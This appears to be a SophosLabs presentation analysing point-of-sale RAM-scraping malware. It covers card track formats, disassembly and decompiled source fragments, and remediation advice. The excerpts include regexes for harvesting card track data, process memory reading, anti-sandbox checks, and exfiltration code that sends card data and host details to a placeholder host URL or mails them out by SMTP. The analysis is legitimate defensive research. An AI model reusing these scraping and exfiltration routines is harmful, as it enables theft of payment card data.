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Buy Candy, Lose Your Credit Card - Investigating PoS RAM Scraping Malware

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Who are we?




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Point of sale, PCI and criminals



PCI-DSS

- ◆ Set of requirements designed to ensure that merchants process, store or transmit credit card in a secure environment.
- ◆ Credit card data must be encrypted if it is stored.
- ◆ Credit card data must be encrypted when transmitted.
- ◆ The data is briefly in plain-text in volatile memory (RAM).

Years in the making

◆ 2009

A study conducted by the Verizon Business RISK Team

2009 Data Breach Investigations Supplemental Report

Anatomy of a Data Breach



14. RAM scraper

Description	RAM scrapers are a fairly new form of malware designed to capture data from volatile memory (RAM) within a system.
Types / Variations	Difficult to classify types as the functionality is rather new.
Frequency	Factor in 4% of breaches in caseload
Impact (data loss)	Factor in 1% of records compromised in caseload
Associated Industry	To date, mainly observed in the Retail and Hospitality industries.

◆ 2010

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Award-winning news, opinion, advice and research from **SOPHOS**


[malware](#) [mac](#) [facebook](#) [android](#) [vulnerability](#) [data loss](#) [privacy](#) [more](#)

◀ [FTC settles with Facebook, alleges pr...](#)

[Manila AT&T hackers tied to terrorist a...](#)


Targeted attacks steal credit cards from hospitality and educational institutions

Sensitive Cardholder Data



- ◆ https://www.pcisecuritystandards.org/smb/why_secure.html


Magnetic Tracks



	0.233"		Recording Density (bits per inch)	Character Configuration (including parity bit)	Information Content (including control characters)
0.110"	Track 1	IATA	210 BPI	7 Bits per Character	79 Alphanumeric Characters
0.110"	Track 2	ABA	75 BPI	5 Bits per Character	40 Numeric Characters
0.110"	Track 3	THRIFT	210 BPI	5 Bits per Character	107 Numeric Characters

- Source: <http://www.q-card.com/support/magnetic-stripe-card-standards.asp>

Track 1 Format



Shaded area identifies control characters

SS Start Sentinel	%	FC Format Code
FS Field Separator	^	LRC Longitudinal Redundancy Check Character
ES End Sentinel	?	

* (PVKI) PIN Verification Key Indicator
 * (PVV) PIN Verification Value
 * (CVV) Card Verification Value
 * (CVC) Card Validation Code

- Source: <http://www.q-card.com/support/magnetic-stripe-card-standards.asp>

Track 1 Example

Card holder : L. PADILLA
Card number*: 1234 5678 9012 3445
Expiration : 01/99


%B1234567890123445^PADILLA/L.

^9901120000000000000000**XXX*****?*

^^^	^^	^^	^^	^^	^^
_ Card number	_ Card holder			_ CVV**	_ LRC
_ Format code	_ Field separator				_ End sentinel
_ Start sentinel	Field separator			_ Discretionary data	
	Expiration		_ Service code		

- ♦ <http://www.gae.ucm.es/~padilla/extrawork/magexam1.html>

Track 2 Format



Source: <http://www.q-card.com/support/magnetic-stripe-card-standards.asp>

Track 2 Example

Card holder : L. PADILLA
Card number*: 1234 5678 9012 3445
Expiration : 01/99

```
;1234567890123445=99011200XXXX00000000?*  
^^      ^^      ^^      ^^      ^^  
||_ Card number || | | Encrypted ||_ LRC  
|_ Start sentinel|| | | PIN*** |_ End sentinel  
                  || Service code  
Field separator _||_ Expiration
```

- ♦ <http://www.gae.ucm.es/~padilla/extrawork/magexam1.html>

Stolen. Now what?

- ◆ Track 1 & 2 data can be used to duplicate a Credit Card.
- ◆ Stolen card data is usually bought & sold in batches to the highest bidder typically in other countries.
- ◆ Cards are sometimes used to buy gift cards which are redeemed for money in order to reduce usage of the card.

Troj/Trackr-*


- ◆ Umbrella detection name for all PoS RAM scraping malware detected by SophosLabs.
- ◆ Includes: **Alina**, **Dexter**, **VSkimmer**, **Kaptoxa**, **Chewbacca**, etc.
- ◆ In a nutshell Troj/Trackr-* steals payment data from the RAM of PoS systems.
- ◆ Installs on a backend Credit Card processing server/system.

Troj/Trackr-* variants

- ◆ Basic version (not packed, only scrapes RAM).
- ◆ Complex version (adds socially-engineered filenames, network functionality, bots, packed etc.)
- ◆ Installed DLL version (the DLL is registered as a service and performs the RAM scraping).
- ◆ Multi-component

Troj/Trackr-* installation

- ◆ Social Engineering? Phish? Exploits? Inside job?
- ◆ GPO/SCCM?



Troj/Trackr-* cogs & wheels

```
C7 05 C0 95 40 00+  mov     pe.dwSize, 128h
6A 00              push     0           ; th32ProcessID
6A 02              push     2           ; dwFlags
E8 78 23 00 00    call     CreateToolhelp32Snapshot
89 45 D4          mov     [ebp+hSnapshot], eax
```

```
8B 45 D4          mov     eax, [ebp+hSnapshot]
50              push     eax           ; hsnapshot
E8 61 23 00 00    call     Process32First
```

```
50              push     eax           ; dwProcessId
6A 00              push     0           ; bInheritHandle
68 10 04 00 00    push     410h         ; dwDesiredAccess
FF 15 4C 10 40 00 call     ds:OpenProcess
```

```
89 40 DC          mov     [ebp+lpBuffer], ecx
8D 55 C8          lea     edx, [ebp+NumberOfBytesRead]
52              push     edx           ; lpNumberOfBytesRead
8B 45 C0          mov     eax, [ebp+nsSize]
50              push     eax           ; nsSize
8B 40 DC          mov     ecx, [ebp+lpBuffer]
51              push     ecx           ; lpBuffer
8B 55 FC          mov     edx, [ebp+lpBaseAddress]
52              push     edx           ; lpBaseAddress
8B 45 D8          mov     eax, [ebp+hObject]
50              push     eax           ; hProcess
FF 15 F8 10 40 00 call     ds:ReadProcessMemory
```

```
8B 40 D4          mov     ecx, [ebp+hSnapshot]
51              push     ecx           ; hsnapshot
E8 AF 21 00 00    call     Process32Next
85 C0            test     eax, eax
0F 85 4C FE FF FF jnz     start_check
```

Troj/Trackr-* cogs & wheels

```
; -----
    align 10h
70 00+ dd 0FFFFFFFh, 70h
42 29+a((bB)09{1319}^AZaZS{030}^((079 db '([b|B)[0-9]{13,19}\^[A-Za-z\5]{0,30}\/[A-Za-z\5]{0,30}\^(0[7-9]|1'
5D 7B+ ; DATA XREF: sub_417658+12E10
39 7D+ db '[0-5]([0-9]{1,9})|([0-2]{1,9})[0-9\5]{3,50}[0-9]{1})',0
    align 4
11 00+ dd 0FFFFFFFh, 0
6E 64+aFound(track1) db Found (Track1): 0
61 63+ ; sub_417658+17F10
20 00 ; sub_417658+22410
    align 4
3C 00+ dd 0FFFFFFFh, 3Ch
39 5D+a(09{1516}(079105)((019)(102))09{830}) db '([0-9]{15,16}=(0[7-9]|1[0-5]([0-9]{1,9})|([0-2]{1,9})[0-9\5]{3,50})[0-9]{8,30})',0
31 36+ ; DATA XREF: sub_417658+28B10
    align 10h
11 00+ dd 0FFFFFFFh, 0
6E 64+aFound(track2) db Found (Track2): 0
61 63+ ; sub_417658+2DC10
20 00 ; sub_417658+38110
    align 4
```

```
db 0
5D+a(09{1319}(129)(019102)09{350}?) db '([0-9]{13,19}=(1[2-9]([0-9]{1,9})|1[0-2]{1,9})[0-9]{3,50}\?)',0
39+ ; DATA XREF: sub_444AF0+A310
00+ align 10h
42+a((%?Bb)09{1319}^AZaZS{026}^((1 db '([%?Bb)[0-9]{13,19}\^[A-Za-z\5]{0,26}\/[A-Za-z\5]{0,26}\^(1[2-9]'
2D+ ; DATA XREF: sub_444AF0+6010
2C+ db ')([0-9]{1,9}|1[0-2]{1,9})[0-9\5]{3,50}\?)',0
db 0
```

Troj/Trackr-* cogs & wheels

```
Sub sMemoryFind()  
    On Error Resume Next  
    Dim hProcess As Long, lpMem As Long, ret As Long, lLenMBI As Long, sBuffer As String, Si As SYSTEM_INFO, mb  
    Dim oRegExp As RegExp, aMatches As MatchCollection, item As Match, hSnap As Long, Pe32 As PROCESSENTRY32  
    Dim sExe As String, Fata As String, iFile As Integer, Spate As String, sLine As String  
  
    hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0&)  
    Pe32.dwSize = LenB(Pe32)  
  
    Do While Process32Next(hSnap, Pe32)  
        sExe = TrimNull(Pe32.szExeFile)  
  
        If Pe32.th32ProcessID <> GetCurrentProcessId Then  
  
            If sExe <> "System" Or sExe <> "svchost.exe" Or sExe <> "csrss.exe" Or sExe <> "wininit.exe" Then  
  
                hProcess = OpenProcess(PROCESS_READ_WRITE_QUERY, False, Pe32.th32ProcessID)  
                lLenMBI = Len(mbi)  
                GetSystemInfo Si  
                lpMem = Si.lpMinimumApplicationAddress  
  
                Set oRegExp = New RegExp  
                oRegExp.IgnoreCase = False  
                oRegExp.Global = True  
  
                oRegExp.Pattern = "\d{13,19}=\d{7}\w*\?"  
                'oRegExp.Pattern = ";\d{13,19}=\d{7}\w*\?"
```

Troj/Trackr-* cogs & wheels

```
sListaNeagra(34) = "4555555555555555"  
sListaNeagra(35) = "4999999999999999"  
sListaNeagra(36) = "4026444444444444"  
sListaNeagra(37) = "4026777777777777"  
  
For i = LBound(sListaNeagra) To UBound(sListaNeagra)  
If sNR = sListaNeagra(i) Then: Luhn = False: Exit Function  
Next i  
  
If Len(sNR) < 12 Then Luhn = False: Exit Function  
If Len(sNR) > 19 Then Luhn = False: Exit Function  
  
SS = StrReverse(sNR)  
  
For i = 1 To Len(sNR)  
If isOdd(i) <> True Then  
sDublare = Mid(SS, i, 1) * 2  
If sDublare > 9 Then  
sT = Mid(sDublare, 1, 1)  
sF = Mid(sDublare, 2, 1)  
sDublare = sT + sF  
End If
```

Troj/Trackr-* cogs & wheels

```
Sub sAnti()  
  Dim aDlls(2) As String, aHDDs(4) As String, bFound As Boolean, lHKey As Long, lLen As Long, i As Integer  
  
  aDlls(0) = "SbieDll.dll" 'sandboxie  
  aDlls(1) = "dbghelp.dll"  
  aDlls(2) = "LOG_API32.DLL" 'Api logger  
  
  aHDDs(0) = "*VMWARE_VIRTUAL_IDE_HARD_DRIVE_*" 'threatexpert.com/submit.aspx  
  aHDDs(1) = "*QEMU*" 'anubis.iseclab.org  
  aHDDs(2) = "*FLOPPY2K12*" 'malwr.com  
  aHDDs(3) = "*DISK_*" 'Joe Sandbox Desktop 8.0.0 file-analyzer.net  
  aHDDs(4) = "*EXCELSTOR_TECHNOLOGY_*" 'CWSandbox mwanalysis.org  
  
  If App.EXENAME = "sample" Then bFound = True 'camas.comodo.com/  
  
  zZ = SetErrorMode(1024)  
  If zZ = 0 Then bFound = True
```

Troj/Trackr-* cogs & wheels

```
04 8C 40 00      ; LPCSTR Ignorable_processes_list
                  ; ignorable_processes_list
                  ; dd offset awmiprvse_exe
                  ; DATA XREF: excluded_process_check+E1r
                  ; excluded_process_check+1B1r
                  ; "wmiprvse.exe"
E4 8C 40 00      dd offset aLogonui_exe_5 ; "LogonUI.exe"
F0 8C 40 00      dd offset aSvchost_exe_5 ; "svchost.exe"
FC 8C 40 00      dd offset aIexplore_exe_5 ; "iexplore.exe"
0C 8D 40 00      dd offset aExplorer_exe_5 ; "explorer.exe"
1C 8D 40 00      dd offset aSystem_5 ; "System"
24 8D 40 00      dd offset aSmss_exe_5 ; "smss.exe"
30 8D 40 00      dd offset aCsrss_exe_5 ; "csrss.exe"
3C 8D 40 00      dd offset aWinlogon_exe_5 ; "winlogon.exe"
4C 8D 40 00      dd offset aLsass_exe_5 ; "lsass.exe"
58 8D 40 00      dd offset aSpoolsv_exe_5 ; "spoolsv.exe"
64 8D 40 00      dd offset aAlg_exe_5 ; "alg.exe"
6C 8D 40 00      dd offset aWuauc1t_exe_5 ; "wuauc1t.exe"
78 8D 40 00      dd offset aFirefox_exe_5 ; "firefox.exe"
84 8D 40 00      dd offset aChrome_exe_5 ; "chrome.exe"
90 8D 40 00      dd offset aDevenv_exe_5 ; "devenv.exe"
98 8D 40 00      dd offset aDevenv_exe_5 ; "devenv.exe"
```

Troj/Trackr-* cogs & wheels

```
26 76 61 6C 3D 00 ; char aVal[0]
; &val_0 db '&val=',0 ; DATA XREF: commands_received+7810
; commands_received+23110
00 00 align 10h
26 76 61 72 3D 00 a&var_2 db '&var=',0
00 00 align 4
44 65 74 65 63 74+aDetectShutdownClass_2 db 'DetectShutdownClass',0
; char aDownload[0]
64 6F 77 6E 6C 6F+aDownload db 'download-',0
61 64 2D 00 ; DATA XREF: commands_received:loc_405E7D10
; commands_received+1E910 ...
00 00 align 4
; char aUpdate[0]
75 70 64 61 74 65+aUpdate db 'update-',0 ; DATA XREF: commands_received+3310
2D 00 ; commands_received+3F10 ...
; char aCheckin[0]
63 68 65 63 6B 69+aCheckin db 'checkin:',0
6E 3A 00 ; DATA XREF: commands_received:loc_405D5010
; commands_received+BC10 ...
00 00 00 align 4
; char aScanin[0]
73 63 61 6E 69 6E+aScanin db 'scanin:',0 ; DATA XREF: commands_received:loc_405DD210
3A 00 ; commands_received+13E10 ...
; char aUninstall[0]
75 6E 69 6E 73 74+aUninstall db 'uninstall',0
61 6C 6C 00 ; DATA XREF: commands_received:loc_405E5410
; commands_received+1C010
00 00 align 10h
```

Troj/Trackr-* cogs & wheels

```
[BOT_ENGINE] BotCreateMutex - CreateMutex failed with LastError: 0x%08x \n
[BOT_ENGINE] ERROR - Failed to alloc lpPath \n
[BOT_ENGINE] ERROR - SHGetFolderPathW failed to obtain appdata dir \n
[BOT_ENGINE] INFO - Created MUXEX: {"%s"} \n
[BOT_HTTP] - HttpOpenRequest failed with error: 0x%08x \n
[BOT_HTTP] - HttpQueryInfo failed with error: 0x%08x \n
[BOT_HTTP] - HttpSendRequest failed with error: 0x%08x \n
[BOT_HTTP] - InternetConnect failed with error: 0x%08x \n
[BOT_HTTP] - InternetOpen failed with error: 0x%08x \n
[CRYPT] - FATAL_ERROR - Exception occurred in CryptData \n
```

Troj/Trackr-* cogs & wheels

```
push offset aSoftwareMicrosoftWindowsCurrentversionP ; "Software\\Microsoft\\windows\\Currentve"...
push 80000001h ; hKey
call ds:RegCreateExA
push offset Data ; ".exe;.bat;.reg;.vbs;"
call ds:strlenA
mov [ebp+cbData], eax
mov edx, [ebp+cbData]
push edx ; cbData
push offset Data ; ".exe;.bat;.reg;.vbs;"
push 1 ; dwType
push 0 ; Reserved
push offset aLowriskfiletypes ; "LowRiskFileTypes"
mov eax, [ebp+hKey]
push eax ; hKey
call ds:RegSetValueExA
```

Troj/Trackr-* exfiltration

```
If Len(sLocal) > 19 Then sLG = sLG & sLocal  
  
Session = InternetOpenA("Decebalv1.0", 0, vbNullString, vbNullString, 0)  
  
sLink = "http://YOURHOST.R0/FISIER.php?&co=" & _  
sHeX(Environ("computername")) & _  
&"&us=" & sHeX(Environ("username")) & _  
&"&av=" & sHeX(sGetAV) & _  
&"&os=" & sHeX(sGetOs) & _  
&"&tr2=" & sHeX(sLG)
```

```
Function sGetAV() As String  
Dim objWMIService As Object, avp As Object  
Set objWMIService = gOb("winmgmts:{impersonationLevel=impersonate}\\.\root\SecurityCenter")  
For Each avp In objWMIService.ExecQuery("Select * from AntiVirusProduct")  
sGetAV = sGetAV & avp.DisplayName & " "  
Next  
If Len(sGetAV) < 3 Then sGetAV = "Nope"  
End Function
```

Troj/Trackr-* exfiltration

```
Function VersionToName() As String
    Select Case PEBGetWinVersion
    Case "1.0.0": VersionToName = "Windows 95"
    Case "1.1.0": VersionToName = "Windows 98"
    Case "1.9.0": VersionToName = "Windows Millennium"
    Case "2.3.0": VersionToName = "Windows NT 3.51"
    Case "2.4.0": VersionToName = "Windows NT 4.0"
    Case "2.5.0": VersionToName = "Windows 2000"
    Case "2.5.1": VersionToName = "Windows XP"
    Case "2.5.3": VersionToName = "Windows 2003 (SERVER)"
    Case "2.6.0": VersionToName = "Windows Vista"
    Case "2.6.1": VersionToName = "Windows 7"
    Case "2.6.2": VersionToName = "Windows 8"
    Case Else: VersionToName = "Unknown"
    End Select
End Function

Function GetOsBitness() As String
    Dim ProcessorSet As Object, CPU As Object
    Set ProcessorSet = GetObject("Winmgmts:").ExecQuery("SELECT * FROM Win32_Processor")
    For Each CPU In ProcessorSet
        GetOsBitness = CStr(CPU.AddressWidth)
    Next
End Function

Function sGetOs() As String
    sGetOs = VersionToName & " (" & GetOsBitness & ")"
End Function
```

Troj/Trackr-* exfiltration

```
; char a_sInfo_s__started[]
20 20 49+a%sInfo%s()Started db '%s - INFO - %s() started ',0Ah,0
20 20 20+ ; DATA XREF: sub_4042B0+1110
    align 10h
; char a_sInfoSendingReportPacket_Size_dwCnt[]
20 20 49+a%sInfoSendingReportPacket_Size%dDwcnt%d db '%s - INFO - Sending report packet. size=%d dwCnt=
20 20 20+ ; DATA XREF: sub_4042B0+1110
    align 4
70 3A 2F+aHttp109_75_176_63ForumPost_php db 'http://',0
; char a_sInfoSendreporttopanel__Br[]
20 20 49+a%sInfoSendreporttopanel()Bres%s db '%s - INFO - SendReportToPanel() bRes=%s ',0Ah,0
20 20 20+ ; DATA XREF: sub_4042B0+8810
    align 4
20 20 45+a%sErrorFailedToPreparePacket db '%s - ERROR - failed to prepare packet ',0Ah,0
52 20 20+ ; DATA XREF: sub_4042B0+AA10
; char a_sInfoNoDataAvailable[]
20 20 49+a%sInfoNoDataAvailable db '%s - INFO - no data available ',0Ah,0
20 20 20+ ; DATA XREF: sub_4042B0+B610
61 6C 69+aInvalidStringPosition db 'invalid string position',0
74 72 69+ ; DATA XREF: sub_404570+1310
70 6F 73+ ; sub_404610+1110 ...
69 6E 67+aStringTooLong db 'string too long',0
6F 20 6C+ ; DATA XREF: sub_4043C0+7010
00 ; sub_4044A0+5410 ...
64 65 66+aAbcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
6A 6B 6C+ ; DATA XREF: sub_404CE0+1810
    align 4
00 off_411298 dd offset __DestructExceptionObject
; DATA XREF: __except_handler4+EAlr
; __except_handler4+F310 ...
00 dd offset unk_4114C8
```

Troj/Trackr-* exfiltration

```
2.exe
2.exe
2.exe
2.exe
1.exe -f [REDACTED] @gmail.com -t [REDACTED] @icloud.com -o tls=yes -s smtp.gmail.com:
587 -xu [REDACTED] @gmail.com xp [REDACTED] -u "Resultz" -m "Hi Buddy" -a output.txt
del output.txt
goto start
~
~
```

288,1 Bot

Troj/Trackr-* exfiltration

```

00 00 00+dbf_418270 dq 4.294967295e9 ; DATA XREF: sub_4028B0+4F1r
74 20 73+ ; DATA XREF: sub_4028B0+4F1r
FF FF FF+dbf_418278 dq 1.0 ; DATA XREF: .text:0040299B1r
00 00 40+dbf_418280 dq 1000.0 ; DATA XREF: .text:0040298F1r
; char aR[2]
aR db 'r',0 ; DATA XREF: sub_4029E0+2210
; _RTC_GetSrcLine(ulong,char *,int,int *,char *)+1EE10
align 4
; char aRansferComple[]
73 66 65+aRansferComple db 'ransfer complet',0
6F 6D 70+ ; DATA XREF: sub_402B60+29D10
00 ; sub_402B60+42410
; char aFtpS
20 2D 73+aFtpS%$%$ db 'ftp -s:%$ > %$',0
20 3E 20+ ; DATA XREF: F: sub_402B60+26B10
; sub_402B60+40110
align 4
; char aOut_txt[]
2E 74 78+aOut_txt db 'out.txt',0 ; DATA XREF: sub_402B60+24910
; sub_402B60+3DF10
; char aw[]
aw db 'w',0 ; DATA XREF: sub_402B60+1FB10
; sub_402B60+39110
align 4
; char aCmd_txt[]
2E 74 78+aCmd_txt db 'cmd.txt',0 ; DATA XREF: sub_402B60+1E710
; sub_402B60+37D10
; char aData_d_d_d_d_d
61 5F 25+aData_%d_%d_%d_%d_%d_txt db 'data_%d_%d_%d_%d_%d.txt',0
64 5F 25+
; char astring_Null[]
69 6E 67+astring!Null db 'string != NULL',0
20 4E 55+ ; DATA XREF: _sprintf+3C10
; _fgets+1810 ...
align 4

```

Anatomy of an Attack

- ◆ Majority attacks observed are multi-component.
- ◆ Regular Admin tools (or PUAs) may be used to traverse/map the network as well as ex-filtrate data.
- ◆ The RAM scraper most likely will be a small component.
- ◆ We now look into a PoS RAM scraper attack that we saw against a hotel:

Anatomy of an Attack

```
6C 20 6D 65+aDe1Memdump_dmpNu12Nu1 db 'de1 memdump\*.dmp >NUL 2>NUL',0
75 6D 70 5C+ ; DATA XREF: _main:loc_4011F710
; char byte_40F3E6
byte_40F3E6 db 0 ; DATA XREF: dump_memory:loc_4012CA10
; char aPid_s_dmp[]
64 2D 25 73+aPid_s_dmp db 'pid-%s.dmp',0 ; DATA XREF: dump_memory+BF10
; char asc_40F3F2[]
6D 70 69 6E+asc_40F3F2 db 'Dumping private memory for pid %s to %s.dmp...',0Ah,0
70 72 69 76+ ; DATA XREF: dump_memory+DB10
; char aDone_[]
6E 65 21 0A+aDone! db 'Done!',0Ah,0 ; DATA XREF: dump_memory+12410
; char aDone__0[]
6E 65 21 0A+aDone!_0 db 'Done!',0Ah,0 ; DATA XREF: dump_memory+14810
72 6F 63 65+aProcessMemoryDumper db 9,'Process Memory Dumper',0Ah,0
61 64 65 20+aMadeByDiablohorn(proudMemberOfKdTe db 9,'Made by:',0Ah,0
55 73 65 20+aUseAsMemdump_exeOptionsPid db 9,9,'Use as: memdump.exe -<options> [PID]',0Ah,0
4F 70 74 69+aOptions db 9,9,'Options:',0Ah,0
09 2D 3F 20+a?ShowThisHelp db 9,9,9,'-? = Show this help',0Ah,0
09 2D 6C 20+aLListAllRunningProcesses db 9,9,9,'-l = List all running processes',0Ah,0
09 2D 73 20+aSShowInfoOnProcessLikePath db 9,9,9,'-s = show info on Process like Path',0Ah,0
09 2D 66 20+aFDumpPrivateProcessMemoryByPid db 9,9,9,'-f = Dump private process memory by PID',0Ah,0
09 2D 66 20+aFFullPrivateDumpOfAllRunningProcesses db 9,9,9,'-f = Full private dump of all running processes',0Ah,0
; char format[]
09 28 50 49+format db '%s',9,'(PID: %u)',9,'Hex: %xh',0Ah,0
20 25 75 29+ ; DATA XREF: open_process+6810
74 65 72 20+aEnterProcessId db 'Enter Process Id: ',0
00 a%d_0 db '%d',0
64 75 6C 65+aModuleSnapshotFailed db 'Module Snapshot Failed',0Ah,0
64 75 6C 65+aModuleSnapshotSucceeded db 'Module Snapshot succeeded',0Ah,0
74 68 65 72+aGatheringModuleInformationFailed db 'Gathering Module information failed',0Ah,0
64 75 66 65+aModuleSnapshotFailed db 'Module Snapshot Failed',0Ah,0
```

Anatomy of an Attack

```
76 63+aNetsvc_0 db 'NetSvc',0 ; DATA XREF: sub_4014E8+C10
61 6C+aInstall db 'install',0 ; DATA XREF: _main+3D10
76 65+aRemove db 'remove',0 ; DATA XREF: _main+5A10
67 00 aDebug db 'Debug',0 ; DATA XREF: _main+7710
; char format[]
72 74+format db '0Ah',0 ; DATA XREF: _main+10C4+128410
69 63+ db 'StartServiceCtrlDispatcher being called.',0Ah,0
; char aThisMayTakeSeveralSeconds_Pleasewait_[]
20 60+aThisMayTakeSeveralSeconds_Pleasewait_ db 'This may take several seconds. Please wait.',0Ah,0
61 6B+ ; DATA XREF: _main+AF10
74 53+aStartservicectrldispatcher db 'StartServiceCtrlDispatcher',0
63 65+ ; DATA XREF: _main+D710
; char ServiceName[]
76 63+ServiceName db 'NetSvc',0 ; DATA XREF: sub_4012E2+810
65 72+aSetServiceStatus db 'SetServiceStatus',0
53 74+ ; DATA XREF: sub_40138A+8910
; char SourceName[]
6F 72+SourceName db 'Network Location',0
63 61+ ; DATA XREF: sub_40143F:loc_4014B110
6C 65+aUnableToInstall%$%$ db 'Unable to install %s - %s',0Ah,0
```

```
C4 F9 FF FF call sub_40143F
C4 14 add esp, 14h
54 C5 40 00 push offset command ; "start /min algsvr.exe"
08 7D 00 00 call _system
pop ecx
6A C5 40 00 push offset astartMinRdpSvr_exe ; "start /min rdpsvr.exe"
CD 7D 00 00 call _system
pop ecx
00 push 0 ; __int32 *
75 86 00 00 call _time
pop ecx
08 mov ebx, eax
```

Anatomy of an Attack

```
## $date_string = ctime(stat($file)->mtime);
$regextrack1 = '((b|B)(([0-9]{13,16})|([0-9]|\s){13,25})\^[A-Za-z\s0-9]{0,30}\^[A-Za-z\s0-9]{0,30}\^(0[7-9]|1[0-9]{1,2}|1[0-2]))([0-9]|\s){3,50}';
$regextrack2 = '([0-9]{15,16}(0|=)(0[7-9]|1[0-5]))((0[1-9])|(1[0-2]))[0-9]{8,30}';
print "State: Loading, please wait...\n";
while (1==1) {
    &recursion($dirmon,0);
    print "State: Monitoring\n" if $monitoring==0;
    $monitoring=1 if $monitoring==0;
    sleep $sleep_time;
}
```

```
sub encrypt {
    my @stringarr = split(/,,$_[0]);
    my @passwordarr = split(/,,$_[1]);
    my $result;
    for (my $i = 0, my $j = 0; $i<length($_[0]); $i++, $j++) {
        if ( $j >= length($_[1]) ) {
            $j = 0;
        }
        $result .= $stringarr[$i] ^ $passwordarr[$j];
    }
    return $result;
};
```



Who does PoS malware target?

- ◆ Anyone with a




- ◆ <http://www.xylibox.com/2012/03/pos-carding.html>

Who has been victimized by Card Data Theft?




- ◆ Source: <http://techland.time.com/2013/12/19/the-target-credit-card-breach-what-you-should-know/>

Who does Troj/Trackr-* target?




- ◆ Statistics collected using Sophos Live Protection

Where does Troj/Trackr-* strike?



- ◆ Statistics collected using Sophos Live Protection

Popular filenames



Troj/Trackr-* Industrialization

Infostealer.Vskim Constructor



- Infostealer.Vskim -

Registry persistence: SOFTWARE\Microsoft\Windows\Current\Version\Run

Key name: PCI Compliant SCard

Mutex: Heistenberg2337

Gate path: www.postterminalworld.it /api/process.php?xy=

Flashdrive name: **KARTOX4007**


Logs filename: dmpz.log

Name: svchost svchost.exe

Run in Admin mode
Select the stub and Build.
Waiting...

Build
About
Exit

Troj/Trackr-* Industrialization



Troj/Trackr-* Management System

```
mysql> describe commands;
```

Field	Type	Null	Key	Default	Extra
taskId	bigint(16) unsigned	NO	PRI	NULL	auto_increment
taskNote	varchar(32)	NO		NULL	
taskType	enum('dlx','upd')	NO		NULL	
taskURL	varchar(260)	NO		NULL	
taskLimit	int(16)	NO		0	
taskCountry	varchar(260)	NO		NULL	
taskBuildId	varchar(260)	NO		NULL	

```
7 rows in set (0.00 sec)
```



```
mysql> describe terminals;
```

Field	Type	Null	Key	Default	Extra
id	bigint(16) unsigned	NO	PRI	NULL	auto_increment
botIp	varchar(16)	NO		NULL	
botId	varchar(32)	NO		NULL	
buildId	varchar(16)	NO		NULL	
buildVer	varchar(7)	NO		NULL	
osVer	varchar(7)	NO		NULL	
cName	varchar(32)	NO		NULL	
cUser	varchar(32)	NO		NULL	
cAdmin	enum('0','1')	NO		NULL	
lastTime	int(32)	NO		NULL	

```
10 rows in set (0.02 sec)
```

Remediation

- ◆ Strong Passwords – change defaults
- ◆ Updated PoS applications
- ◆ Updated/Patched OS
- ◆ Install a Firewall
- ◆ Use Antivirus
- ◆ No remote access
- ◆ Restrict access to Internet



Remediation

- ◆ Updated PCI-DSS standards?



- ◆ http://www.dbs.com/newsroom/2010/press1000629_NewPOSBEverydayCard.jpg

Questions?



Latest news

<http://nakedsecurity.sophos.com>

Podcasts

<http://podcasts.sophos.com>

Educational Videos

<http://www.youtube.com/SophosLabs>



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